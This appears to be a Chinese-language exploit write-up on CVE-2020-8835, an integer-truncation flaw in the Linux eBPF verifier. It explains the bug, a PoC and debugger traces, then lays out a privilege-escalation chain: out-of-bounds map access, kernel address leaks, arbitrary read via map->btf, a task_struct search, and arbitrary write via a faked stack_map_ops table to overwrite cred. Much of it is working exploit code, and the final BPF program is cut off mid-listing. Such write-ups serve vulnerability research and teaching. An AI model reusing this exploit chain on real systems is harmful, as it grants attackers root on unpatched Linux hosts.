【kernel exploit】CVE-2020-8835:eBPF verifier 整数截断导致越界读写

【kernel exploit】CVE-2020-8835:eBPF verifier 错误处理导致越界读写

影响版本:v5.4.7 - v5.5.0 以及更新的版本,如5.6。

编译选项CONFIG_BPF_SYSCALL,config所有带BPF字样的。

漏洞描述:在Linux Kernel commit(581738a681b6)中引入,kernel/bpf/verifier.c没有正确将64位值转换为32位(直接取低32位),使得BPF代码验证阶段和实际执行阶段不一致,导致越界读写。

补丁patch 去掉 __reg_bound_offset32 函数及其调用。

测试版本:Linux-5.5.0 测试环境下载地址

利用过程:当BPF程序的寄存器来自map(外部传递)时,若该寄存器出现在JMP32指令中,会被__reg_bound_offset32漏洞函数处理,导致verifier返回结果总为1。利用这个漏洞可以构造任意读写,越界读可以泄露内核基址、传入数据的基址;利用bpf_map_get_info_by_fd 函数构造任意4字节读,泄露task_struct地址,注意多核与单核的泄露方法有区别;通过伪造 stack_map_ops 函数表中 map_push_elem 指针为 queue_stack_map_get_next_key,并替换 bpf_map->ops指向伪造的 stack_map_ops 函数表,构造任意地址写4字节,修改进程 task_structcred 进行提权。

一、eBPF简介

eBPF是extended Berkeley Packet Filter的缩写。起初是用于捕获和过滤特定规则的网络数据包,现在也被用在防火墙,安全,内核调试与性能分析等领域。

eBPF程序的运行过程如下:在用户空间生产eBPF“字节码”,然后将“字节码”加载进内核中的“虚拟机”中,然后进行一些列检查,通过则能够在内核中执行这些“字节码”。类似Java与JVM虚拟机,但是这里的虚拟机是在内核中的。

1. 内核中的eBPF验证程序

允许用户代码在内核中运行存在一定的危险性。因此,在加载每个eBPF程序之前,都要执行许多检查。主要函数是bpf_check(),包含check_cfg()do_check_main()函数。

第一,调用check_cfg()——确保eBPF程序能正常终止,不包含任何可能导致内核锁定的循环。这是通过对程序的控制流图CFG进行深度优先搜索来实现的。程序需3个条件:a.所有指令必须可达;b.没有往回跳转的指令;c.没有跳的太远超出指令范围的指令。

第二,调用do_check_main()->do_check_common()->do_check()——内核验证器(verifier ),模拟eBPF程序的执行,模拟通过后才能正常加载。在执行每条指令之前和之后,都需要检查虚拟机状态,以确保寄存器和堆栈状态是有效的。禁止越界跳转,也禁止访问非法数据。

验证器不需要遍历程序中的每条路径,它足够聪明,可以知道程序的当前状态何时是已经检查过的状态的子集。由于所有先前的路径都必须有效(否则程序将无法加载),因此当前路径也必须有效。 这允许验证器“修剪”当前分支并跳过其仿真。其次具有未初始化数据的寄存器无法读取,这样做会导致程序加载失败。

在遇到具有分支,例如if xxx goto pc+x这样的语句,内核会检测if判断的条件是否恒成立。若判断为恒成立或者恒不成立,则只分析相应的那一分支,而另一分支则不进行分析。没有被分析到的指令被视为dead code,会调用sanitize_dead_code()将dead code全部替换为exit。

第三,验证器使用eBPF程序类型来限制可以从eBPF程序中调用哪些内核函数以及可以访问哪些数据结构。

bpf程序的执行流程如下图:

1-eBPF principle

2. eBPF程序的载入

(1)bpf_insn —— 指令结构体

struct bpf_insn {
    __u8    code;        /* opcode */
    __u8    dst_reg:4;    /* dest register */
    __u8    src_reg:4;    /* source register */
    __s16    off;        /* signed offset */
    __s32    imm;        /* signed immediate constant */
};

每一个eBPF程序都是一个bpf_insn数组,使用bpf系统调用将其载入内核。

(2)bpf_prog_load —— eBPF程序载入的系统调用

#define LOG_BUF_SIZE 65536
#define __NR_BPF 321
char bpf_log_buf[LOG_BUF_SIZE];
int bpf_prog_load(enum bpf_prog_type type,
                  const struct bpf_insn *insns, int insn_cnt,
                  const char *license)
{
    union bpf_attr attr = {
        .prog_type = type,   // type —— eBPF程序类型,不同类型的程序作用不同,例如当type为BPF_PROG_TYPE_SOCKET_FILTER时,表示该程序的作用是过滤进出口网络报文
        .insns = ptr_to_u64(insns), // insns —— bpf_insn数组,表示该程序的指令
        .insn_cnt = insn_cnt,  		// insn_cnt —— 指令的条数
        .license = ptr_to_u64(license), // license —— 必须为"GPL"
        .log_buf = ptr_to_u64(bpf_log_buf), // bpf_log_bpf —— 存储的log信息,可以在程序载入内核之后打印它,能获取比较详细的验证时信息
        .log_size = LOG_BUF_SIZE,
        .log_level = 1,
    };

    return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr));
}

用户层调用编写示例:

int load_prog()
{
    struct bpf_insn prog[] = {
        /*
        指令……
        */
    };
    return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog)/sizeof(struct bpf_insn), "GPL");
}

二、漏洞分析

1. POC

poc如下:goto pc-1不能通过check_cfg检查,但还是被载入内核。

0: (b7) r0 = 808464432
1: (7f) r0 >>= r0
2: (14) w0 -= 808464432
3: (07) r0 += 808464432
4: (b7) r1 = 808464432
5: (de) if w1 s<= w0 goto pc+0
6: (07) r0 += -2144337872
7: (14) w0 -= -1607454672
8: (25) if r0 > 0x30303030 goto pc+0
9: (76) if w0 s>= 0x303030 goto pc+2
10: (05) goto pc-1
11: (05) goto pc-1
12: (95) exit

漏洞原因:内核在检查程序合法性的过程中,第9句在检查时被判断为恒成立,之后的检查便只检查了第12句,第10和第11句被视为dead code,在之后的sanitize_dead_code()函数中被修改为goto pc-1。而没有想到的是,在实际执行的时候第9句实际上是恒不成立,因此就导致程序执行了goto pc-1。在实际执行跳转指令的时候,跳转的偏移会默认加1,因此实际上goto pc-1跳转到的地方不是自己的上一条,而是自己,这就导致程序空转,陷入死循环。

模拟执行时,reg->smin_value0x10300000sval0x303030,可以看到这里会返回1,表示该if语句恒成立,下一个被检测的语句就变成了第12句,而第10和第11句就被patch成了goto pc-1

实际执行时,此刻的w00xCFD0,小于0x303030,就会导致真正在执行的过程中,内核会执行goto pc-1,导致空转,死循环。

2. 漏洞分析

(2-1)寄存器结构体:模拟运行BPF指令时,用bpf_reg_state来保存寄存器的状态信息
// ------------------------------------------------
struct bpf_reg_state {
    enum bpf_reg_type type;
    union {
        /* valid when type == PTR_TO_PACKET */
        u16 range;

        /* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
         *   PTR_TO_MAP_VALUE_OR_NULL
         */
        struct bpf_map *map_ptr;

        u32 btf_id; /* for PTR_TO_BTF_ID */

        /* Max size from any of the above. */
        unsigned long raw;
    };
    s32 off;
    u32 id;
    u32 ref_obj_id;
    /* For scalar types (SCALAR_VALUE), this represents our knowledge of
     * the actual value.
     * For pointer types, this represents the variable part of the offset
     * from the pointed-to object, and is shared with all bpf_reg_states
     * with the same id as us.
     */
    struct tnum var_off;  // tnum结构体详见以下!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    /* Used to determine if any memory access using this register will
     * result in a bad access.
     * These refer to the same value as var_off, not necessarily the actual
     * contents of the register.
     */
    s64 smin_value; // 有符号时可能的最小值
    s64 smax_value; // 有符号时可能的最大值
    u64 umin_value; // 无符号时可能的最小值
    u64 umax_value; // 无符号时可能的最大值
    struct bpf_reg_state *parent;
    u32 frameno;
    s32 subreg_def;
    enum bpf_reg_liveness live;
    /* if (!precise && SCALAR_VALUE) min/max/tnum don't affect safety */
    bool precise;
};

// ------------------------------------------------
/* tnum: tracked (or tristate) numbers
 *
 * A tnum tracks knowledge about the bits of a value.  Each bit can be either
 * known (0 or 1), or unknown (x).  Arithmetic operations on tnums will
 * propagate the unknown bits such that the tnum result represents all the
 * possible results for possible values of the operands.
 */
struct tnum {
    u64 value; 		// value: 某个bit为1 表示这个寄存器的这个bit 确定是1
    u64 mask;		// mask: 某个bit 为1表示这个 bit 是未知的
};

示例:假如value010(二进制表示) , mask100 , 那么就是经过前面的指令的模拟执行之后,可以确定这个寄存器的第二个bit 一定是 1, 第三个 bit 在mask 里面设置了,表示这里不确定,可以是1或者是0。详细的文档可以在Documentnetworking/filter.txt 里面找到。

(2-2)漏洞函数——__reg_bound_offset32() 用于处理跳转指令

__reg_bound_offset32()函数由commit 581738a681b6引入。

static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
    u64 mask = 0xffffFFFF;
    struct tnum range = tnum_range(reg->umin_value & mask,
                       reg->umax_value & mask);
    struct tnum lo32 = tnum_cast(reg->var_off, 4);
    struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

    reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}
(2-3)跳转指令的处理

示例:对于跳转指令,例如指令BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)。会采用__reg_bound_offset()函数(__reg_bound_offset32 的64位版本)来更新状态,false_regtrue_reg 分别代表两个分支的状态,即该if不成立时的regif成立时的reg

// reg_set_min_max_inv() 函数:遇到跳转指令时,若待比较的r0不是一个确定的数字,因此会调用reg_set_min_max_inv来设置寄存器的最大最小值。
// 调用顺序:do_check() -> check_cond_jmp_op() -> reg_set_min_max_inv() -> __reg_bound_offset32()
	/* We might have learned some bits from the bounds. */
    __reg_bound_offset(false_reg);
    __reg_bound_offset(true_reg);
    if (is_jmp32) {            <----------------------
        __reg_bound_offset32(false_reg);    <-------------------
        __reg_bound_offset32(true_reg);        <-------------------
    }

r5 >= 8 的时候 , 这条指令会跳到pc+3 (正确分支),r5<8时跳到错误分支。

(2-4)__reg_bound_offset32流程分析

说明__reg_bound_offset32 会在使用BPF_JMP32 指令时调用,ebpf 的BPF_JMP 寄存器之间是64bit比较的,换成BPF_JMP32 的时候就只会比较低32bit。 接着看看__reg_bound_offset32()的过程:

// __reg_bound_offset32() —— 根据reg->umin_value && umax_value,求reg->var_off的范围
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
    u64 mask = 0xffffFFFF;
    struct tnum range = tnum_range(reg->umin_value & mask,
                       reg->umax_value & mask);  	// 1.把之前状态转移的umin_value 和umax_value 只取低32bit , 创建一个新的 tnum
    struct tnum lo32 = tnum_cast(reg->var_off, 4); 	// 2.取原来 var_off 的 低32bit
    struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

    reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range)); // 3.tnum_intersect —— 如果a和b有某一个bit是1, 那么代表已经确定这个bit是1了, 所以这里用| 的方式, 两者信息整合起来最后生成一个新的var_off
}

 struct tnum tnum_range(u64 min, u64 max)                            
 {                                                                   
     u64 chi = min ^ max, delta;
     // 从右往左数,第一个为1的bit 是哪一位(从1开始数), 表示没有1
     // 如:  fls64(0100)  ==  3
     u8 bits = fls64(chi);                                          

     /* special case, needed because 1ULL << 64 is undefined */      
     if (bits > 63)                                                  
         return tnum_unknown;                                        
     /* e.g. if chi = 4, bits = 3, delta = (1<<3) - 1 = 7.           
     |* if chi = 0, bits = 0, delta = (1<<0) - 1 = 0, so we return   
     |*  constant min (since min == max).                            
     |*/                                                             
     delta = (1ULL << bits) - 1;                                     
     return TNUM(min & ~delta, delta);                               
 } 

struct tnum tnum_intersect(struct tnum a, struct tnum b)     
{                                                            
    u64 v, mu;                                               

    v = a.value | b.value;                                   
    mu = a.mask & b.mask;                                    
    return TNUM(v & ~mu, mu);                                
}   

漏洞:计算range 的时候直接取低32bit,因为原本的umin_valueumax_value 都是64bit的, 假如计算之前umin_value == 1umax_value == 1 0000 0001 , 取低32bit之后他们都会等于1,这样range计算完之后TNUM(min & ~delta, delta);min = 1 , delta = 0(chi == 0)。

然后到tnum_intersect 函数, 假设a.value = 0 ,计算后的v == 1mu ==0 ,最后得到的 var_off 就是固定值1, 也就是说,不管寄存器真实的值是怎么样,在verifier 过程都会把它当做是1。

解释:看POC中0 & 1,开始r0赋值为具体值,经过第1条语句后变成不确定的值,这样经过verifier 过程之后r0.var_off->value就变成0了;另一种情况,如果r0是运行时载入的,那r0也是不确定的值,经过verifier 过程之后就被当做1了。

例1:

0: (b7) r0 = 808464432
1: (7f) r0 >>= r0    # r0 右移位数超过 63,则r0变成不确定的值

例2:创建数组array map,运行时将map[1]载入 r6,这时verifier不知道r6是什么,这时r6.var_off->value = 0

3.调试分析

首先创建array map,让 r9 = map[1]。r6是用于测试漏洞的寄存器。

BPF_LDX_MEM(BPF_DW,6,9,0), // 把map[1]值加载到r6中,这样verifier不知道r6是什么,这时r6.var_off->value = 0。
BPF_JMP_IMM(BPF_JGE,6,1,1),  // 在pc+1 的地方 umin_value 变成1
BPF_EXIT_INSN(),
BPF_MOV64_IMM(8,0x1),        // 这个时候 r8 = 0x100000001, BPF_JLE 的 pc+1 分支上, umax_value = 0x100000001
BPF_ALU64_IMM(BPF_LSH,8,32),
BPF_ALU64_IMM(BPF_ADD,8,1),
/*BPF_JLE  tnum  umax 0x100000001*/ 
BPF_JMP_REG(BPF_JLE,6,8,1),
BPF_EXIT_INSN(),
BPF_JMP32_IMM(BPF_JNE,6,5,1), // 触发漏洞  BPF_JMP32_IMM
BPF_EXIT_INSN(),

因为r6 是从 map[0] load 进来的,实际运行的时候可以是任何值,但经过verifier操作后都被当做1。

__reg_bound_offset32 下个断点,我这里是在kernel/bpf/verifier.c:1038false_regtrue_reg在函数执行前后值如下:

// false_reg 执行前
var_off = {
   value = 0x5,
   mask = 0x100000000
 },
 smin_value = 0x1,
 smax_value = 0x100000001,
 umin_value = 0x1,
 umax_value = 0x100000001,
//--- 执行后
 var_off = {
   value = 0x5,
   mask = 0x100000000
 },
 smin_value = 0x1,
 smax_value = 0x100000001,
 umin_value = 0x1,
 umax_value = 0x100000001,

// true_reg 执行前
var_off = {
  value = 0x0,
  mask = 0x1ffffffff
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
// --- 执行后
  var_off = {
    value = 0x1,				// 变成1,恒跳转
    mask = 0x100000000
  },
  smin_value = 0x1,
  smax_value = 0x100000001,
  umin_value = 0x1,
  umax_value = 0x100000001,

三、利用

1.漏洞利用

// 前面的指令执行完后,再执行以下指令,一开始令 r6=2*(实际值),但verifier后会被当做1。
BPF_ALU64_IMM(BPF_AND, 6, 2),	// verifier: ( 1&2 )>>1 == 0; 实际执行: (2 & 2) >> 1 ==1。
BPF_ALU64_IMM(BPF_RSH, 6, 1),
BPF_ALU64_IMM(BPF_MUL,6,0x110), // r6 = r6 * 0x110 , verifier 过程仍然认为r6 = 0,但是实际运行时 r6 = 0x110
BPF_MOV64_REG(7,0), 			// 获取一个map,我们叫它expmap 吧, r7 = expmap[0]
BPF_ALU64_REG(BPF_SUB,7,6)		// r7 = r7 - r6,r7是指针,verifier 会根据map的 size 来检查边界。但是verifier 认为 r6==0,  r7 - 0 == r7,  可通过检查。实际执行时 r7 = r7 - 0x110,即可越界读写。

2.地址泄露

// 创建map,传入用户数据,这个结构是用户态与内核态交互的一块共享内存
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,key_size,value_size,max_entries,0);

int bpf_create_map(enum bpf_map_type map_type, int key_size,
		   int value_size, int max_entries, __u32 map_flags)
// key_size:表示索引的大小范围,key_size=sizeof(int)=4.
// value_size:表示map数组每个元素的大小范围,可以任意,只要控制在一个合理的范围
// max_entries:表示map数组的大小,编写利用时将其设为1

bpf_create_map()实际调用map_create()来创建bpf_array结构,我们传入的数据放在value[] 处:

struct bpf_array {
    struct bpf_map map;     <-----------------
    u32 elem_size;
    u32 index_mask;
    struct bpf_array_aux *aux;
    union {
        char value[];		// 我们传入的数据,在 bpf_array 中偏移0x110,所以bpf_map的结构地址是*(&map-0x110)
        void *ptrs[];
        void *pptrs[];
    };
}

struct bpf_map {
    const struct bpf_map_ops *ops; // 创建map时设置 BPF_MAP_TYPE_ARRAY 类型时,会将ops指针赋值为array_map_ops, array_map_ops 是一个全局结构包含很多函数指针,可以用于泄露内核地址;设置为BPF_MAP_TYPE_STACK 时 ops指针赋值为 stack_map_ops。
    struct bpf_map *inner_map_meta;
    void *security;
    enum bpf_map_type map_type;
    //....
    u64 writecnt;
}
//  /kernel/bpf/arraymap.c#L447		BPF_MAP_TYPE_ARRAY
const struct bpf_map_ops array_map_ops = {
	.map_alloc_check = array_map_alloc_check,
	.map_alloc = array_map_alloc,
	.map_free = array_map_free,
	.map_get_next_key = array_map_get_next_key,
	.map_lookup_elem = array_map_lookup_elem,
	.map_update_elem = array_map_update_elem,
	.map_delete_elem = array_map_delete_elem,
	.map_gen_lookup = array_map_gen_lookup,
	.map_direct_value_addr = array_map_direct_value_addr,
	.map_direct_value_meta = array_map_direct_value_meta,
	.map_seq_show_elem = array_map_seq_show_elem,
	.map_check_btf = array_map_check_btf,
};
// /kernel/bpf/queue_stack_maps.c#L272 		BPF_MAP_TYPE_STACK
const struct bpf_map_ops stack_map_ops = {
	.map_alloc_check = queue_stack_map_alloc_check,
	.map_alloc = queue_stack_map_alloc,
	.map_free = queue_stack_map_free,
	.map_lookup_elem = queue_stack_map_lookup_elem,
	.map_update_elem = queue_stack_map_update_elem,
	.map_delete_elem = queue_stack_map_delete_elem,
	.map_push_elem = queue_stack_map_push_elem,
	.map_pop_elem = stack_map_pop_elem,
	.map_peek_elem = stack_map_peek_elem,
	.map_get_next_key = queue_stack_map_get_next_key,
};

泄露内核地址:读取bpf_map_ops *ops指针即可。

泄露map_elem地址:&exp_value[0]-0x110+0xc0(wait_list)处保存着指向wait_list自身(bpf_array中)的地址,用于泄露exp_value的地址。

gef➤  p/a *(struct bpf_array *)0xffff88800d878000              
$5 = {  
  map = {          
    ops = 0xffffffff82016340 <array_map_ops>,//<-- 泄露内核地址
    inner_map_meta = 0x0 <fixed_percpu_data>,
    security = 0xffff88800e93f0f8,
    map_type = 0x2 <fixed_percpu_data+2>,
    key_size = 0x4 <fixed_percpu_data+4>,
    value_size = 0x2000 <irq_stack_backing_store>, 
    max_entries = 0x1 <fixed_percpu_data+1>,
//...    
    usercnt = {    
//..
      wait_list = {
        next = 0xffff88800d8780c0,//<-- 泄露 bpf_array 地址
        prev = 0xffff88800d8780c0
      }
    },
    writecnt = 0x0 <fixed_percpu_data>
  },
  elem_size = 0x2000 <irq_stack_backing_store>,
  index_mask = 0x0 <fixed_percpu_data>,
  aux = 0x0 <fixed_percpu_data>,
  {
    value = 0xffff88800d878110,//<-- r7
    ptrs = 0xffff88800d878110,
    pptrs = 0xffff88800d878110
  }
}

3.任意读

方法:利用BPF_OBJ_GET_INFO_BY_FD 选项进行任意读。通过修改map->btf 指针为target_addr-0x58,读取map->btf+0x58处的32 bit值(map->btf.id)。

调用顺序BPF_OBJ_GET_INFO_BY_FD -> bpf_obj_get_info_by_fd() -> bpf_map_get_info_by_fd()

// bpf_map_get_info_by_fd()
static int bpf_map_get_info_by_fd(struct bpf_map *map,
                  const union bpf_attr *attr,
                  union bpf_attr __user *uattr)
{
    struct bpf_map_info __user *uinfo = u64_to_user_ptr(attr->info.info);
    struct bpf_map_info info = {};    <---------------------------
    u32 info_len = attr->info.info_len;
	......
		if (map->btf) {
        	info.btf_id = btf_id(map->btf); // 修改map->btf 就可以进行任意读,获得btf_id,在btf结构偏移0x58处
        	info.btf_key_type_id = map->btf_key_type_id;
        	info.btf_value_type_id = map->btf_value_type_id;
    	}
	......
        if (copy_to_user(uinfo, &info, info_len) || // 传到用户态的info中,泄露信息
        	put_user(info_len, &uattr->info.info_len))
        	return -EFAULT;

    return 0;
}

u32 btf_id(const struct btf *btf)
{
    return btf->id;
}
(gdb) p/x &(*(struct btf*)0)->id  // 获取id在btf结构中的偏移 —— 等号右边
$56 = 0x58

(gdb) p/x &(*(struct bpf_map_info*)0)->btf_id // 获取btf_id在bpf_map_info中偏移 —— 等号左边
$57 = 0x40

所以只需要修改 map->btftarget_addr-0x58,就可以把btf->idtarget_addr处的值)泄露到用户态info中,泄漏的信息在struct bpf_map_info 结构偏移0x40处,由于是u32类型,所以一次只能泄露4个字节。

利用代码如下:

static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info) 
{
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (__u64)&key,
        .value = (__u64)value,
            .info.bpf_fd = mapfd,
            .info.info_len = 0x100,
            .info.info = (__u64)info,
    };

    syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
    return *(uint32_t *)((char *) +0x40);
}

4.查找task_struct

// 通过gdb调试来寻找 init_pid_ns 结构的地址
ksymtab 保存init_pid_ns结构的偏移,init_pid_ns字符串的偏移
kstrtab 保存init_pid_ns的字符串

(gdb) p &__ksymtab_init_pid_ns
$48 = (<data variable, no debug info> *) 0xffffffff822f2578
(gdb) x/2wx 0xffffffff822f2578
0xffffffff822f2578: 0x001527c8  0x0000a1f9  // init_pid_ns 结构的位置偏移 + 字符串偏移
(gdb) x/10s 0xffffffff822f257c+0xa1f9
0xffffffff822fc775 <__kstrtab_init_pid_ns>: "init_pid_ns"
0xffffffff822fc781 <__kstrtabns_kernel_param_unlock>:   ""
(gdb) x/10gx 0xffffffff822f2578+0x001527c8
0xffffffff82444d40 <init_pid_ns>:   0x0000000000000002  0x0080000400000000
0xffffffff82444d50 <init_pid_ns+16>:    0xffff88801e469242  0x0000006f00000000
(4-1)通过漏洞来搜索 init_pid_ns 结构的地址

先搜索"init_pid_ns" 字符串可以得到 __kstrtab_init_pid_ns 的地址;再搜索满足 target_addr + (int)*target_addr == __kstrtab_init_pid_ns 条件的 target_addrtarget_addr - 4 即为 __ksymtab_init_pid_ns 地址;加上 init_pid_ns 结构的位置偏移即可,target_addr - 4 + (int)*(target_addr - 4) 即为 init_pid_ns 结构的地址。

(4-2)通过pid 和 init_pid_ns 查找对应pid的 task_struct

内核查找过程:通过 find_task_by_pid_ns 函数查找。

// -------------(1)
struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)  // nr —— 当前进程的pid;ns —— init_pid_ns结构地址;目标 —— ns->idr字段的内容。
{
    RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
             "find_task_by_pid_ns() needs rcu_read_lock() protection");
    return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID); // <------------
}
// -------------(2)
struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
    return idr_find(&ns->idr, nr); // <---------
}

// -------------(3)lib/idr.c:
void *idr_find(const struct idr *idr, unsigned long id)
{
    return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base); // 目标 —— 获取&idr->idr_rt 和 idr->idr_base
}

// -------------(4)lib/radix-tree.c:
void *radix_tree_lookup(const struct radix_tree_root *root, unsigned long index)
{
    return __radix_tree_lookup(root, index, NULL, NULL); // <-------------
}
// -------------(5)
void *__radix_tree_lookup(const struct radix_tree_root *root,
              unsigned long index, struct radix_tree_node **nodep,
              void __rcu ***slotp)
{
    struct radix_tree_node *node, *parent;
    unsigned long maxindex;
    void __rcu **slot;

 restart:
    parent = NULL;
    slot = (void __rcu **)&root->xa_head;
    radix_tree_load_root(root, &node, &maxindex); //将root->xa_head的值赋给node
    if (index > maxindex)
        return NULL;

    while (radix_tree_is_internal_node(node)) {
        unsigned offset;

        parent = entry_to_node(node); // parent = node & 0xffff ffff ffff fffd
        offset = radix_tree_descend(parent, &node, index); // 重点:循环查找当前进程的node
        slot = parent->slots + offset; //
        if (node == RADIX_TREE_RETRY)
            goto restart;
        if (parent->shift == 0) // 当shift为0时,退出,说明找到当前进程的node
            break;
    }

    if (nodep)
        *nodep = parent; 
    if (slotp)
        *slotp = slot; 
    return node; 
}
// -------------(6)重点 —— radix_tree_descend: 获取当前进程的node
RADIX_TREE_MAP_MASK : 0x3f
static unsigned int radix_tree_descend(const struct radix_tree_node *parent, 
            struct radix_tree_node **nodep, unsigned long index)
{
    unsigned int offset = (index >> parent->shift) & RADIX_TREE_MAP_MASK;  // 要读取parent->shift的值,并与0x3f 与计算
    void __rcu **entry = rcu_dereference_raw(parent->slots[offset]);  // 获取parent->slots[offset] 作为下一个node

    *nodep = (void *)entry; //

    return offset; //
}
// -------------radix_tree_node 结构
#define radix_tree_node xa_node
struct xa_node {
    unsigned char   shift;      /* Bits remaining in each slot */
    unsigned char   offset;     /* Slot offset in parent */
    unsigned char   count;      /* Total entry count */
    unsigned char   nr_values;  /* Value entry count */
    struct xa_node __rcu *parent;   /* NULL at top of tree */
    struct xarray   *array;     /* The array we belong to */
    union {
        struct list_head private_list;  /* For tree user */
        struct rcu_head rcu_head;   /* Used when freeing node */
    };
    void __rcu  *slots[XA_CHUNK_SIZE];
    union {
        unsigned long   tags[XA_MAX_MARKS][XA_MARK_LONGS];
        unsigned long   marks[XA_MAX_MARKS][XA_MARK_LONGS];
    };
};
// -------------(7)跳到第一步出现的 pid_task: 根据当前进程的node获取相应的 task_struct
enum pid_type
{
    PIDTYPE_PID,
    PIDTYPE_TGID,
    PIDTYPE_PGID,
    PIDTYPE_SID,
    PIDTYPE_MAX,
};
type 为PIDTYPE_PID, 值为0

#define hlist_entry(ptr, type, member) container_of(ptr,type,member)
struct task_struct *pid_task(struct pid *pid, enum pid_type type)
{
    struct task_struct *result = NULL;
    if (pid) {
        struct hlist_node *first;
        first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]), // 获取&pid->tasks[0] 的内容
                          lockdep_tasklist_lock_is_held());
        if (first)
            result = hlist_entry(first, struct task_struct, pid_links[(type)]);// first为pid_links[0]的地址,由此获得task_struct的起始地址
    }
    return result;
}
// ------------- tasks[0] 和 pid_links[0] 的偏移
(gdb) p/x &(*(struct pid*)0x0)->tasks[0]
$10 = 0x8
(gdb) p/x &(*(struct task_struct *)0)->pid_links[0]
$8 = 0x500

5.任意写

步骤

  • 调用 bpf_create_map() 构造 bpf_array 时,类型设置为 BPF_MAP_TYPE_QUEUE 或者 BPF_MAP_TYPE_STACK 。(这样bpf_array->map->ops会被赋值为全局函数表queue_map_opsstack_map_ops,其中包含可利用的map_push_elem 函数指针)。

  • exp_value上布置伪造的array_map_ops,伪造的 array_map_ops 中将 map_push_elem 填充为map_get_next_key ,这样调用map_push_elem时就会调用map_get_next_key ,并将&exp_value[0]的地址覆盖到exp_map[0],同时要构造 map 的一些字段绕过某些检查。

struct bpf_array {
    struct bpf_map map;     // <-------- 覆盖为 &exp_value[0]
    u32 elem_size;
    u32 index_mask;
    struct bpf_array_aux *aux;
    union {
        char value[];		// 用户数据 exp_value,放置伪造的 array_map_ops 函数表
        void *ptrs[];
        void *pptrs[];
    };
}

// /kernel/bpf/queue_stack_maps.c#L272 		BPF_MAP_TYPE_STACK
const struct bpf_map_ops stack_map_ops = {
	.map_alloc_check = queue_stack_map_alloc_check,
	.map_alloc = queue_stack_map_alloc,
	.map_free = queue_stack_map_free,
	.map_lookup_elem = queue_stack_map_lookup_elem,
	.map_update_elem = queue_stack_map_update_elem,
	.map_delete_elem = queue_stack_map_delete_elem,
	.map_push_elem = queue_stack_map_push_elem,   // 伪造成 map_get_next_key 
	.map_pop_elem = stack_map_pop_elem,
	.map_peek_elem = stack_map_peek_elem,
	.map_get_next_key = queue_stack_map_get_next_key,
};

// 需伪造的关键字段
spin_lock_off = 0
max_entries = 0xffff ffff 
//写入的index要满足(index >= array->map.max_entries), 将map_entries改成0xffff ffff
map_type = BPF_MAP_TYPE_STACK
//map 的类型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK时,map_update_elem 会调用map_push_elem
  • 调用bpf_update_elem任意写内存
bpf_update_elem->map_update_elem(mapfd, &key, &value, flags) -> map_push_elem(被填充成 map_get_next_key )
 ->array_map_get_next_key

int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
// 
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)   
{                                                                                   
    struct bpf_array *array = container_of(map, struct bpf_array, map);             
    u32 index = key ? *(u32 *)key : U32_MAX;                                        
    u32 *next = (u32 *)next_key;                                                    

    if (index >= array->map.max_entries) {    // index = value[0]                                   
        *next = 0;                                                                  
        return 0;                                                                   
    }                                                                               

    if (index == array->map.max_entries - 1)                                        
        return -ENOENT;                                                             

    *next = index + 1; // (u32 *)next_key = *(u32 *)key +1       *flags = value[0]+1                                                       
    return 0;                                                                       
}

map_push_elem() 的参数是 valueuattr->flags,分别对应 array_map_get_next_key()keynext_key 参数,之后有 index = value[0]next = flags , 最终效果是 *flags = value[0]+1,这里index 和 next 都是 u32 类型, 所以可以任意地址写 4个byte。

6.总结

bpf_insn 说明

  • r6 保存ctrl_value的地址,r7保存exp_value的地址,r8为偏移
  • ctrl_map 保存输入的偏移,泄露的地址,以及执行覆盖伪造的array_map_ops操作
  • exp_map 保存伪造的array_map_ops
struct bpf_insn my_prog[] = {

        //-------- ctrl_mapfd
                BPF_LD_MAP_FD(BPF_REG_9,ctrl_mapfd),		// r9 = ctrl_mapfd
                BPF_MAP_GET(0,BPF_REG_8), 					// r8 = map[0]  即为 0x110
                BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),        // r6 = r0  

                BPF_LD_IMM64(BPF_REG_2,0x4000000000),		// r2 = 0x4000000000
                BPF_LD_IMM64(BPF_REG_3,0x2000000000),		// r3 = 0x2000000000
                BPF_LD_IMM64(BPF_REG_4,0xFFFFffff),			// r4 = 0xFFFFffff
                BPF_LD_IMM64(BPF_REG_5,0x1),				// r5 = 0x1

                BPF_JMP_REG(BPF_JGT,BPF_REG_8,BPF_REG_2,5),  // r8 > 0x4000000000 则跳转
                BPF_JMP_REG(BPF_JLT,BPF_REG_8,BPF_REG_3,4),  // r8 < 0x2000000000 则跳转
                BPF_JMP32_REG(BPF_JGT,BPF_REG_8,BPF_REG_4,3),// r8 > 0xFFFFffff 则跳转
                BPF_JMP32_REG(BPF_JLT,BPF_REG_8,BPF_REG_5,2),// r8 < 0x1 则跳转

                BPF_ALU64_REG(BPF_AND,BPF_REG_8,BPF_REG_4),  // r8 = r8 & 0xFFFFffff  偏移r8检查时为0,而实际值为0x110
                BPF_JMP_IMM(BPF_JA, 0, 0, 2),

                BPF_MOV64_IMM(BPF_REG_0,0x0),				// r9 = 0
                BPF_EXIT_INSN(),

        //-------- exp_mapfd
